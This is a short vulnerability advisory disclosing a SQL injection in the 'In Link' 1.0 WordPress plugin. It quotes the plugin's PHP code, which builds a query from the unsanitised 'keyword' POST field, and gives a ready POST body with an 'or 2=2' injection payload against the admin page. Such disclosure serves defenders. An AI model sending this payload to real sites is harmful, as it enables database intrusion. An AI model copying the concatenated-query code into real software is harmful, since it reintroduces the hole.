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WordPress In Link 1.0 SQL Injection

WordPress In Link 1.0 SQL Injection
Posted Nov 21, 2017
Authored by Dimopoulos Elias

WordPress In Link plugin version 1.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 954fddf0317fd8286ef8f1e93464d17bc04fc89aabf6582716320bdae4b93c6b

WordPress In Link 1.0 SQL Injection

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Vulnerability Type:

SQL injection is POST parameter "keyword"

Affected plugin:
---------------------------------------
In Link
Version: 1.0
Requires WordPress Version: 2.8 or higher
Compatible up to: 2.8
URL: https://wordpress.org/plugins/inlinks/
(plugin has been closed after the report)
---------------------------------------

Affected file inlinks/inlinks.php

Affected lines:

58 $Keyword = trim($_POST['keyword']);
59 $URL = trim($_POST['url']);
60 $Rel = trim($_POST['rel']);
61 $Target = trim($_POST['target']);
62 $table_name = $wpdb->prefix ."URLKeywordsMapping";
63 $SelectKeywordURLMappingDetails = "select * from $table_name
where FldKeyword LIKE '".$Keyword."'" ;
64
65 $KeywordURLMappingDetails =
$wpdb->get_results($SelectKeywordURLMappingDetails);
66
67 if(count($KeywordURLMappingDetails))
68 {
69 $Message = "<div align='center' style=\"color:red;
font-weight:bold;\">The keyword <i>".$Keyword."</i> already exists in
the table.</div>";
70 }

More issues seems to exist in the plugin, because of lack of input
validation and the lack of use of prepared statements.

Affected URL:

/wp-admin/options-general.php?page=inlinks%2Finlinks.php

POST Parameters (with payload):
keyword=gweeperx'or+2=2--+-&url=http%3A%2F%2F127.0.0.4&rel=nofollow&target=_blank&ActionType=AddKeywordURL&Add=Add

Tested against:

* In Link 1.0
* WordPress 4.9
* mysql Ver 14.14 Distrib 5.7.20, for Linux (x86_64) using EditLine
wrapper
* PHP 7.0.22-0ubuntu0.16.04.1

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